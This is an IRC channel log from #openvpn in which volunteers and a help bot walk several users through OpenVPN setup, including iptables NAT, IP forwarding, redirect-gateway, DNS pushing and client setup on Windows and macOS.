05:39 -!- vaillor [~wefefr@2-226-37-187.ip179.fastwebnet.it] has quit [Ping timeout: 256 seconds]
05:44 -!- yes_understand [~chatzilla@91.252.166.98] has quit [Ping timeout: 255 seconds]
05:47 -!- zu [~zu@ks387228.kimsufi.com] has joined #openvpn
05:51 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
06:02 -!- vaillor [~wefefr@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
06:03 -!- yes_understand [~chatzilla@91.252.127.196] has joined #openvpn
06:06 -!- yes_understand [~chatzilla@91.252.127.196] has quit [Read error: Connection reset by peer]
06:11 -!- Zenum [~Zenum@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
06:12 -!- Zenum [~Zenum@unaffiliated/zenum] has joined #openvpn
06:28 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit [Ping timeout: 255 seconds]
06:38 -!- Denial [~Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
06:38 -!- mitz_ [~mitz@219.143.36.82] has quit [Ping timeout: 252 seconds]
07:07 -!- mnice_ [~jdoe@static-84-242-118-58.net.upcbroadband.cz] has left #openvpn []
07:14 -!- Six6siX [~six6six@jasmine1.sammybakar.com] has joined #openvpn
07:15 -!- memand [~memand@80-71-135-117.u.parknet.dk] has joined #openvpn
07:16 < memand> !welcome
07:16 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
07:16 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
07:17 < memand> !goal
07:17 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
07:19 < memand> I would like to be able to make my server a part of my LAN network I am right now following this https://wiki.archlinux.org/index.php/OpenVPN guide and I'm doing "./build-dh" from this section https://wiki.archlinux.org/index.php/Create_a_Public_Key_Infrastructure_Using_the_easy-rsa_Scripts
07:20 <@vpnHelper> Title: OpenVPN - ArchWiki (at wiki.archlinux.org)
07:22 < memand> I have not used OpenVPN (or any other VPN for that mather) before so I'm still a little confused about all the possibilities, I have been googling and browsing he wiki a bit but havent found out exactly how to set it yet, if someone would refere me to somewhere I can see how to set it up I'd be more than happy
07:22 < memand> s/ he/ the/
07:25 -!- yes_understand [~chatzilla@91.252.64.68] has joined #openvpn
07:32 -!- yes_understand [~chatzilla@91.252.64.68] has quit [Ping timeout: 264 seconds]
07:35 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Read error: Operation timed out]
07:39 -!- david__ [~david@192.40.56.116] has quit [Ping timeout: 264 seconds]
07:43 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
07:45 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: takamichi]
07:45 -!- Denial [~Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit [Ping timeout: 256 seconds]
07:46 -!- david_ [~david@192.40.56.116] has joined #openvpn
07:47 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
07:57 -!- Six6siX [~six6six@jasmine1.sammybakar.com] has quit [Ping timeout: 276 seconds]
07:59 < memand> I have now generated all the keys, and I'm trying to figure out wether it would be best to go for L3 IP Routing or L2 Ethernet Bridge
08:00 -!- michaelhart [~michaelha@206-248-137-228.dsl.teksavvy.com] has joined #openvpn
08:01 < kisom> memand: Unless you need L2 stuff like broadcastig, chose L3
08:05 -!- mitz_ [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
08:05 < memand> kisom: Ok :)
08:05 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Read error: Operation timed out]
08:06 -!- yes_understand [~chatzilla@91.252.23.199] has joined #openvpn
08:06 -!- mitz_ [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Client Quit]
08:07 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
08:08 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
08:09 < memand> kisom: I'm supposed to put all the key and certs in /etc/openvpn ?
08:23 -!- octe [~octe@stilgar.fixme.se] has quit [Quit: leaving]
08:25 -!- yes_understand [~chatzilla@91.252.23.199] has quit [Ping timeout: 276 seconds]
08:26 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has joined #openvpn
08:31 -!- ipu42 [~sasank@ool-457c81bc.dyn.optonline.net] has joined #openvpn
08:32 < ipu42> Hellow, anyone have time to help me figure out why OpenVPN redirect-gateway isn't working for me?
08:36 -!- ipu42 [~sasank@ool-457c81bc.dyn.optonline.net] has quit [Quit: leaving]
08:36 -!- ipu42 [~sasank@5.254.140.54] has joined #openvpn
08:43 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Quit: WeeChat 0.4.0]
08:44 -!- Denial [~Denial@109.144.131.145] has joined #openvpn
08:44 -!- APTX_ [APTX@unaffiliated/aptx] has quit [Remote host closed the connection]
08:44 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
08:47 -!- APTX [APTX@unaffiliated/aptx] has joined #openvpn
08:48 < ipu42> woo hoo... finally
08:48 < ipu42> redirect-gateway works only on tcp
08:48 < ipu42> doesn't work for UDB
08:48 < ipu42> *UDP
08:48 < rob0> not true
08:49 < ipu42> I don't know why
08:49 < Poster> probably packet filtering
08:49 < ipu42> rob0: I've been tinkering different options for a week.
08:49 < ipu42> And for some strange reason, just changed udp to tcp and it works now.
08:49 < ipu42> :-)
08:50 < ipu42> Poster: I disabled the firewall
08:50 < ipu42> just have 1 iptable rule.
08:50 < ipu42> But for some strange reason the ssh connection keeps breaking
08:53 -!- Six6siX [~six6six@cpc1-ely06-2-0-cust202.5-1.cable.virginmedia.com] has joined #openvpn
08:54 < Poster> not sure what you have going on, but you don't have different ip routing tables for tcp, udp and/or icmp unless you do some heavy iproute2/netfilter/pf setup, which you'd likely be aware of
08:57 -!- yes_understand [~chatzilla@94.160.55.14] has joined #openvpn
08:58 -!- Six6siX [~six6six@cpc1-ely06-2-0-cust202.5-1.cable.virginmedia.com] has quit [Ping timeout: 245 seconds]
09:00 -!- t35guy [~Andrew@63.142.161.3] has joined #openvpn
09:03 -!- t35guy1 [~Andrew@63.142.161.18] has quit [Ping timeout: 245 seconds]
09:06 -!- Zenum [~Zenum@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
09:25 -!- Denial [~Denial@109.144.131.145] has quit [Read error: Connection reset by peer]
09:28 -!- Denial [~Denial@109.144.139.234] has joined #openvpn
09:32 < ipu42> Poster: definitely some strange stuff. :-) I'm no expert on the networking side. Just googling things.
09:32 < ipu42> Poster: But am happy to finally get it working
09:33 -!- yes_understand [~chatzilla@94.160.55.14] has quit [Read error: Connection reset by peer]
09:34 -!- yes_understand [~chatzilla@94.160.55.14] has joined #openvpn
09:34 -!- Denial [~Denial@109.144.139.234] has quit [Ping timeout: 260 seconds]
09:42 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
09:42 -!- yes_understand [~chatzilla@94.160.55.14] has quit [Ping timeout: 276 seconds]
09:43 -!- jthunder [~jthunder@174.3.126.51] has quit [Remote host closed the connection]
09:44 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
09:44 -!- Denial [~Denial@109.144.139.234] has joined #openvpn
09:50 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
09:51 -!- yes_understand [~chatzilla@91.252.124.211] has joined #openvpn
09:54 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 256 seconds]
09:55 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
09:55 < Sarah> I have no firewall on my server, nor on my client, but when I connect to my VPN on Windows, I get a "No Internet Access" via IPv4.. Is there an option I should enable?
10:07 <@krzee> Sarah, your goal is to redirect internet over the vpn i assume?
10:08 < Sarah> Yup.
10:08 <@krzee> what OS is your server?
10:08 < Sarah> Linux.
10:08 <@krzee> !linnat
10:08 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
10:08 <@krzee> !linipforward
10:08 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
10:09 < Sarah> To the first one, I have no firewall, as I said.
10:09 <@krzee> ill try to get my webserver back up now so you can use my flowchat too :D
10:09 <@krzee> well you NEED a firewall
10:09 < Sarah> Ah?
10:09 <@krzee> those packets aint gunna nat themselves
10:09 < Sarah> *sigh*
10:10 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Quit: WeeChat 0.4.0]
10:10 < rob0> Life in #openvpn without krzee's flowcharts has been hard.
10:11 < Sarah> If I enable iptables, will everything die immediately?
10:11 < Sarah> As in, all of my daemons currently running.
10:11 <@krzee> yes, even all the kittens
10:11 <@krzee> EVERYTHING WILL DIE!
10:11 < Sarah> Damn.
10:12 <@krzee> nah i dunno, im sure it'll be fine assuming your arent blocking everything
10:12 <@krzee> s/your/you/
10:12 <@krzee> rob0, i know thats not true, but i love those things!!!
10:12 < rob0> If you have stupid rules which do stupid things, enabling them will mean they will do stupid things.
10:12 <@krzee> i used to do that process manually, now im like "flowchart dude!"
10:13 < rob0> krzee, I toss them out for people to help themselves. I'm generally not inclined to walk people through all those steps, but I am glad to show them the flowcharts.
10:14 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
10:15 <@krzee> copying web dir into place, gunna update dns and configure apache, will take a few
10:16 < Sarah> Will iptables -L list every single thing I've told it?
10:16 < Sarah> Because I did " iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE" and nothing changed.
10:17 < rob0> no, iptables -L is useless. Try "iptables-save".
10:19 < Sarah> I see.
10:19 < Sarah> It seems to have worked, I think.
10:21 < Sarah> Alright..
10:22 < Sarah> Once I've run both of those command, it should work, right?
10:24 < Sarah> commands*
10:25 -!- emmanuelux [~emmanuelu@2a01:e35:2e4d:9010:7c80:f56b:ee80:1b85] has joined #openvpn
10:25 -!- raidz_away is now known as raidz
10:29 -!- levifig [~levifig@spwn.co] has quit [Excess Flood]
10:29 -!- levifig [~levifig@spwn.co] has joined #openvpn
10:30 < Sarah> Because I still get "No Internet Access".
10:31 < Sarah> It works locally, I can access the webserver using 10.8.0.1
10:31 -!- levifig [~levifig@spwn.co] has quit [Excess Flood]
10:31 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood]
10:31 -!- levifig [~levifig@spwn.co] has joined #openvpn
10:32 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
10:32 -!- mode/#openvpn [+o krzee] by ChanServ
10:32 -!- yes_understand [~chatzilla@91.252.124.211] has quit [Read error: Connection reset by peer]
10:32 < rob0> pastebin your "iptables-save -c"
10:32 < Sarah> http://sprunge.us/AjjW
10:34 < rob0> :FORWARD ACCEPT [0:0]
10:34 < rob0> scroll back up to 15:08 <@krzee> !linipforward
10:35 < Sarah> I copy-pasted that exact command. (#3)
10:35 < Sarah> And my sysctl.conf has ip forwarding enabled.
10:35 < rob0> your iptables-save disagrees.
10:36 < rob0> or, maybe no client is attempting to forward through you.
10:36 < Sarah> Ah?
10:37 < Sarah> Should I pastebin my client's openvpn configuration file?
10:38 < Sarah> Because it /is/ connected atm.
10:38 -!- Denario [~nobody@cpc5-acto4-2-0-cust714.4-2.cable.virginmedia.com] has joined #openvpn
10:38 < Denario> hi
10:39 < Denario> I want use openvpn for irc only in a linux box
10:39 < Denario> any help ?
10:40 < Sarah> ..Why not use ZNC?
10:41 < Denario> thx a take a look
10:41 < Sarah> rob0, so.. what should I do?
10:42 -!- Poster [~poster@cpe-173-88-34-118.columbus.res.rr.com] has quit [Ping timeout: 256 seconds]
10:42 < rob0> Sarah, wait for krzee and his miraculous flowchart? :)
10:42 -!- Poster [~poster@cpe-173-88-34-118.columbus.res.rr.com] has joined #openvpn
10:42 <@krzee> 1sec ill upload it somewhere temp
10:43 < Sarah> mm
10:44 < Denario> znc is for serves
10:44 < Sarah> Serves?
10:46 -!- levifig [~levifig@spwn.co] has quit [Excess Flood]
10:46 <@krzee> ftp://67.21.64.234/pub/redirect.png
10:46 -!- levifig [~levifig@spwn.co] has joined #openvpn
10:47 < Sarah> Haha, "Fix your VPN!"
10:47 < Denario> I want to configure my openvpn client to route only irc through vpn
10:47 < Sarah> But why not use ZNC? Configuring a whole VPN just for IRC is a bit overkill.
10:48 <@krzee> i vpn into my server that runs ZNC, can only connect to my znc over the vpn
10:48 < EugeneKay> !routebyapp
10:48 <@vpnHelper> "routebyapp" is if you want to send only certain apps over the VPN you need to run a socks server on the internal VPN subnet (see !sockd) then get an app like proxifier (windows, osx) or tsocks (linux, BSD) to selectively route traffic over the socks proxy based on port/app/subnet or any combination.
10:48 < Sarah> krzee, alright, what's "redirect-gateway"? :p
10:48 <@krzee> !man
10:48 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
10:48 <@krzee> !redirect
10:48 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
10:48 <@vpnHelper> http://ircpimps.org/redirect.png
10:49 < Sarah> !ipforward
10:49 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
10:49 <@krzee> its what's needed to redirect your gateway to go over the vpn
10:49 -!- levifig [~levifig@spwn.co] has quit [Excess Flood]
10:49 <@krzee> and if you arent using it...
10:49 <@krzee> <rob0> or, maybe no client is attempting to forward through you.
10:49 <@krzee> than that ^
10:49 <@krzee> then that ^ *
10:50 < Denario> I don't have any vpn server, I just use a client
10:50 < Sarah> can I just add the "redirect-gateway" option to my config file?
10:50 -!- KaiForce [~chatzilla@107.223.70.10] has joined #openvpn
10:50 <@krzee> Denario, then you can only change what subnets you route over the vpn (assuming the vpn is setup to NAT your traffic at all)
10:51 <@krzee> you cannot route by app, nor can you run znc on the server itself
10:51 <@krzee> well i take it back i guess you could route by app using firewall trickery
10:51 < Denario> no route by app
10:51 -!- levifig [~levifig@spwn.co] has joined #openvpn
10:52 < Denario> routing by ports
10:52 < Sarah> krzee, :D it works, now I only have issues with DNS, which I presume will easily be fixable.
10:52 <@krzee> !pushdns
10:52 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
10:52 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
10:54 < Sarah> Do I add "dhcp-option DNS 8.8.8.8" to my server's configuration file?
10:57 < Sarah> Oh.. do I actually need to put a.b.c.d?
10:57 < Sarah> :p
11:03 <@krzee> you had it the first time, except you need to push it
11:03 < Sarah> ..I don't get it.
11:04 <@krzee> push "dhcp-option DNS 8.8.8.8"
11:04 < Sarah> Ah
11:04 <@krzee> what OS is your client?
11:04 < Sarah> Windows.
11:04 <@krzee> windows what
11:05 < Sarah> Windows 7. sorry.
11:05 <@krzee> put register-dns in the client config
11:08 < Sarah> Uh
11:08 < Sarah> I think I broke things.
11:08 < Sarah> Hold on
11:08 <@krzee> stuff breaker
11:08 < Sarah> :(
11:11 -!- oh7lzb [hessu@he.fi] has joined #openvpn
11:11 < Sarah> crap
11:11 < Sarah> My machine won't access the Internet when I cut the VPN connection, now.
11:12 < Sarah> Although it kept all open sockets.. open.
11:13 <@krzee> !def1
11:13 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
11:13 <@krzee> had you read redirect-gateway in the manual you would have known the solution
11:14 < oh7lzb> Hi. Just figured out that if a PKCS#12 file is loaded, CA certificates contained in it are only loaded if cafile is not specified. My VPN clients are using PKCS#12 files from a 3rd party I trust, but the 3rd party only provides client certs to persons, not server certs, and my VPN server cert is not going to be signed by a CA whose cert would ever go in that PKCS#12 file.
11:15 < Sarah> krzee, ah, sorry. How do I "push" things? By adding them to the config file?
11:15 < oh7lzb> Considering to propose a patch to load CA certs of both the PKCS#12 file *and* a pem file specified by 'ca'.
11:15 < Sarah> !man
11:15 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
11:16 <@krzee> !push
11:16 <@vpnHelper> "push" is usage: push <command> , goes in the server config and makes the command act as if it was in the client config, can be used in ccd entries
11:16 <@krzee> Sarah, you know there is a manual, right?
11:17 < Sarah> yeah
11:17 < Sarah> ..My connection is down, though.
11:17 < Sarah> Not sure if rebooting will help or not.
11:17 <@krzee> it wont bite
11:17 <@krzee> (promise)
11:18 <@krzee> reboot and fix the config
11:18 <@krzee> you need your gateway back
11:18 -!- Denario [~nobody@cpc5-acto4-2-0-cust714.4-2.cable.virginmedia.com] has left #openvpn ["Saliendo"]
11:18 <@krzee> could fix it manually, but just reboot
11:20 < Sarah> alright, brb, rebooting
11:20 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Quit: WeeChat 0.4.0]
11:22 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
11:23 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 245 seconds]
11:26 < Sarah> Back.
11:29 < Sarah> krzee, so, I want register-dns on the client, and push "dhcp-option DNS 8.8.8.8" and push "redirect-gateway def1" on the server, right?
11:31 -!- Denial [~Denial@109.144.139.234] has quit [Ping timeout: 245 seconds]
11:34 <@krzee> ?did you try it?
11:35 < Sarah> ..Not yet.
11:35 < ipu42> krzee: How are you.
11:35 < Sarah> I'll try it now.
11:35 < ipu42> krzee: I managed to get the OpenVPN working. I had to do it over TCP.
11:35 <@krzee> pretty good
11:36 < ipu42> UDP wasn't working for somereason
11:36 <@krzee> ok
11:36 < ipu42> thanks for helping me the other day.
11:36 <@krzee> you're welcome =]
11:36 <@krzee> i thought the vpn was up while we were working on it
11:37 < ipu42> yup. I mean the gateway-redirect
11:37 < Sarah> krzee, :D It works! Yay! Thanks!
11:37  * Sarah hugs krzee 
11:37 <@krzee> that cant possibly work differently over udp and tcp
11:37 < ipu42> gateway-redirect works only on TCP for me. Not sure why. But it works on TCP.
11:38 < ipu42> I don't care as long as it works :-)
11:38 <@krzee> thats a red herring
11:38 <@krzee> your problem was something else
11:38 < ipu42> May be some other underlying issue is preventing UDP from working.
11:38 < ipu42> I agree.
11:38 <@krzee> nothing outside the vpn knows wtf you transfer over the vpn itself
11:38 <@krzee> so its impossible that udp was your problem
11:38 < EugeneKay> Well. Not directly....
11:38 < ipu42> Probaby my server is dropping UDP packets.
11:38 <@krzee> (if you were able to ping the vpn ip, then it WASNT your problem)
11:38 < ipu42> But letting through TCP
11:39 < EugeneKay> It's possible to sniff the shape of a Skype call, for example
11:39 <@krzee> no, if you could ping then it wasnt
11:39 < ipu42> krzee: I was unable to ping it either
11:39 < ipu42> with UDP.
11:39 <@krzee> EugeneKay, you think that was happening with his udp vs tcp?  ;]
11:39 <@krzee> well then your vpn wasnt even up
11:39 < EugeneKay> Doubtful
11:39 <@krzee> which does change everything
11:39 < ipu42> UDP works without redirect-gateway.
11:39 <@krzee> show me
11:39 < EugeneKay> But you know what I mean ;-)
11:40 <@krzee> connect with udp and ping the vpn server
11:40 < ipu42> but once redirect-gateway is put in server.conf, I was unable to ping it.
11:40 <@krzee> yep. i do
11:40 <@krzee> ipu42, do you want to fix that?
11:40 <@krzee> cause it doesnt matter to me, but i know udp wasnt your problem
11:40 < ipu42> hmmmm next time. I got to go soon.
11:40 < ipu42> krzee: I agree.
11:40 < ipu42> Some other thing is causing UDP to fail. Not UDP itself.
11:41 <@krzee> you likely fixed something else and didnt realize it wasnt changing to tcp that fixed stuff
11:41 < ipu42> Happy for now :-)
11:41 < ipu42> krzee: Hmmm possible.
11:41 <@krzee> more than possible, very likely
11:41 < ipu42> :)
11:41 < ipu42> ok... Thanks everyone.
11:41 <@krzee> yw
11:42 < ipu42> krzee: I have to go now. I will come back on after 3/4 hours. If you are still there, we can try and see why UDP doesn't work for me.
11:42 < ipu42> Bye all.
11:42 <@krzee> later
11:42 -!- ipu42 [~sasank@5.254.140.54] has left #openvpn []
11:42 <@krzee> try udp again before asking
11:42 <@krzee> damn, too late
11:43 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
11:45 -!- Zenum [~Zenum@2a03:f80:ed15:ed15:ed15:ed15:c4fc:f104] has joined #openvpn
11:45 -!- Zenum [~Zenum@2a03:f80:ed15:ed15:ed15:ed15:c4fc:f104] has quit [Changing host]
11:45 -!- Zenum [~Zenum@unaffiliated/zenum] has joined #openvpn
11:57 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 245 seconds]
12:02 -!- jthunder_ [~jthunder@174.3.126.51] has joined #openvpn
12:05 -!- jthunder [~jthunder@174.3.126.51] has quit [Ping timeout: 268 seconds]
12:05 -!- jthunder_ is now known as jthunder
12:41 < memand> Hey guys, I have just set up a openvpn server on my public server and have tested that it works for me on linux, but I need to have my friend connect and he is running osx. I have sent him the ca.crt the user.crt the user.key the ta.key (HMAC) and the client.conf but where is he supposed to put them for Tunnelblick to work?
12:42 <@krzee> there, my links are back
12:44 <@krzee> memand, https://code.google.com/p/tunnelblick/wiki/UsingTunnelblick
12:44 <@vpnHelper> Title: UsingTunnelblick - tunnelblick - Using Tunnelblick - OpenVPN GUI for Mac OS X - Google Project Hosting (at code.google.com)
12:44 <@krzee> https://duckduckgo.com/?t=ous&q=how+to+add+tunnelblick
12:44 < memand> krzee: Thanks :)
12:44 <@vpnHelper> Title: how to add tunnelblick at DuckDuckGo (at duckduckgo.com)
12:44 <@krzee> first hit
12:44 <@krzee> np
12:45 < memand> Sorry, I guess I should have asked google first :/
12:46 <@krzee> no worries
12:46 <@krzee> https://duckduckgo.com/privacy
12:46 <@vpnHelper> Title: DuckDuckGo Privacy (at duckduckgo.com)
12:46 <@krzee> if you're the type who wants a vpn, you may be the type who would prefer ddg over google
12:46 <@krzee> (i am)
12:48 < memand> :)
12:50 -!- mete [~mete@84.200.83.33] has quit [Ping timeout: 255 seconds]
12:56 -!- emmanuelux [~emmanuelu@2a01:e35:2e4d:9010:7c80:f56b:ee80:1b85] has quit [Ping timeout: 256 seconds]
12:59 -!- awc737 [~awc737@2604:180:1::e9e7:263f] has quit [Quit: ZNC - http://znc.sourceforge.net]
13:01 -!- awc737 [~awc737@2604:180:1::e9e7:263f] has joined #openvpn
13:39 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 256 seconds]
13:45 -!- kirin` [telex@gateway/shell/anapnea.net/x-qvsxmuqlprtjxsiu] has quit [Ping timeout: 245 seconds]
13:46 -!- kirin` [telex@gateway/shell/anapnea.net/x-wlihsouvotzobavk] has joined #openvpn
13:47 -!- mete [~mete@mete.shell.la] has joined #openvpn
13:58 -!- suprsonic [~suprsonic@services.landonsanderson.com] has joined #openvpn
14:05 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn
14:20 -!- speed_racer84 [~speed_rac@173-115-199-197.pools.spcsdns.net] has joined #openvpn
14:22 -!- t35guy1 [~Andrew@63.142.161.4] has joined #openvpn
14:24 -!- t35guy [~Andrew@63.142.161.3] has quit [Ping timeout: 245 seconds]
14:28 -!- speed_racer84 [~speed_rac@173-115-199-197.pools.spcsdns.net] has quit [Ping timeout: 272 seconds]
14:52 -!- sysdoc [~sysdoc@pool-71-105-40-229.lsanca.dsl-w.verizon.net] has quit [Quit: ZNC - http://znc.sourceforge.net]
14:55 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
14:56 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
15:01 -!- t35guy [~Andrew@63.142.161.6] has joined #openvpn
15:03 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
15:05 -!- t35guy1 [~Andrew@63.142.161.4] has quit [Ping timeout: 255 seconds]
15:07 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 245 seconds]
15:08 -!- c|oneman [cloneman@1337.montrealdark.com] has quit [Ping timeout: 264 seconds]
15:26 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 248 seconds]
15:33 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
15:43 -!- c|oneman [cloneman@1337.montrealdark.com] has joined #openvpn
15:43 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
15:48 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
15:48 -!- Six6siX_ [~six6six@jasmine1.sammybakar.com] has joined #openvpn
15:53 -!- t35guy1 [~Andrew@63.142.161.17] has joined #openvpn
15:55 -!- Six6siX_ [~six6six@jasmine1.sammybakar.com] has quit [Ping timeout: 276 seconds]
15:57 -!- t35guy [~Andrew@63.142.161.6] has quit [Ping timeout: 272 seconds]
16:01 -!- KaiForce [~chatzilla@107.223.70.10] has quit [Quit: ChatZilla 0.9.90 [Firefox 20.0.1/20130409194949]]
16:02 -!- t35guy [~Andrew@63.142.161.16] has joined #openvpn
16:05 -!- t35guy1 [~Andrew@63.142.161.17] has quit [Ping timeout: 272 seconds]
16:10 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 268 seconds]
16:16 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
16:28 -!- Ungi [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has joined #openvpn
16:29 -!- memand [~memand@80-71-135-117.u.parknet.dk] has quit [Quit: C'YA]
16:30 < Ungi> Hi all
16:33 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
16:40 -!- mback2k_ is now known as mback2k
16:56 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 272 seconds]
16:59 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
17:06 -!- Sjors [~sgielen@foo.kassala.de] has quit [Ping timeout: 246 seconds]
17:08 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has quit [Ping timeout: 276 seconds]
17:12 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
17:32 -!- Ungi [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has quit [Quit: Bye]
17:32 -!- Ungi [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has joined #openvpn
17:33 <@ecrist> hello
17:36 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 272 seconds]
17:38 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
17:43 -!- emmanuelux [~emmanuelu@37.59.236.163] has joined #openvpn
17:48 -!- sw0rdfish [sw0rdfish@unaffiliated/sw0rdfish] has quit [Excess Flood]
17:51 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has joined #openvpn
18:01 -!- raidz is now known as raidz_away
18:19 -!- mback2k is now known as mback2k_
18:30 -!- emmanuelux [~emmanuelu@37.59.236.163] has quit [Read error: Connection reset by peer]
18:31 -!- suprsonic [~suprsonic@services.landonsanderson.com] has left #openvpn []
19:06 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
